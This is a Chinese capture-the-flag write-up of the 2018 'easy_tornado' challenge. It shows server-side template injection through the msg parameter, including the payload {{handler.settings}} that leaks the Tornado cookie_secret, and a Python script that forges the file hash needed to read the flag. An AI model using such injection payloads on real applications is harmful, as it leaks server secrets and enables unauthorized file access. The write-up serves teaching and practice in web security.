1. 程式人生 > 實用技巧 >[護網杯 2018]easy_tornado

[護網杯 2018]easy_tornado

0x00

開啟網頁發現

分別開啟
/flag.txt:

/welcome.txt:

/hints.txt:

還有一點需要注意的是:

/file?filename=/hints.txt&filehash=32aaa29a01b1b5a672bda72c1313619e

就如上面訪問檔案的時候都需要filehash才可以訪問
從/hints.txt中我們可以知道filehash的組成為:

md5(cookie_secret+md5(filename))

從/flag.txt中我們已經知道了flag所在的檔案為/fllllllllllllag,
所以現在我們只需要知道cookie_secret就可以得到flag
然後我去檢視cookie發現沒有cookie

說明我們的方向也許有點問題,繼續檢視其他資訊
在/welcome.txt中我們發現了render
提供給render相應引數,它可以生成相應的html供前端響應
既然使用這個函式提供的html,那也許存在SSTI注入漏洞
有了新的方向,那我們去查詢漏洞
首先開始提供的那三個介面根本沒辦法利用,都進行了filehash驗證,
當輸入錯誤的filehash的時候會發現跳轉到了錯誤介面

看到這裡

?msg=Error

很可能存在漏洞,那我們進行驗證一下

?msg=1


確實可以顯示,繼續

?msg={{1*1}}


百度了一下ORZ是什麼意思才發現是被過濾了,繼續試

?msg={{1^2}}


發現進行了異或運算,不用在進行驗證了
雖然現在發現了SSTI注入,但是cookie_secret在哪裡獲取
百度搜索了關鍵字cookie_secret,發現是tornado模板引擎裡面的一種安全cookie機制
那現在cookie_secret就能和SSTI漏洞結合了,百度查詢後發現,只需要輸入如下就可以獲得cookie_secret

?msg={{handler.settings}}

得到如下結果

接下來就是寫一個python指令碼獲取filehash了

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="28a80f75-de02-42ef-927c-c99e9be61b1b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()     
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

##hash.digest() 
##返回摘要,作為二進位制資料字串值
##hash.hexdigest() 
##返回摘要,作為十六進位制資料字串值

執行指令碼後得到結果

0x01

前面我們已經獲得了flag,但是還有一個地方值得我們研究
那就是為什麼輸入

?msg={{handler.settings}}

可以獲得cookie_secret,原因就是:
在tornado模板中,存在一些可以訪問的快速物件,這裡用到的是handler.settings,
handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,
所以handler.settings就指向RequestHandler.application.settings了,這裡面就是我們的一些環境變數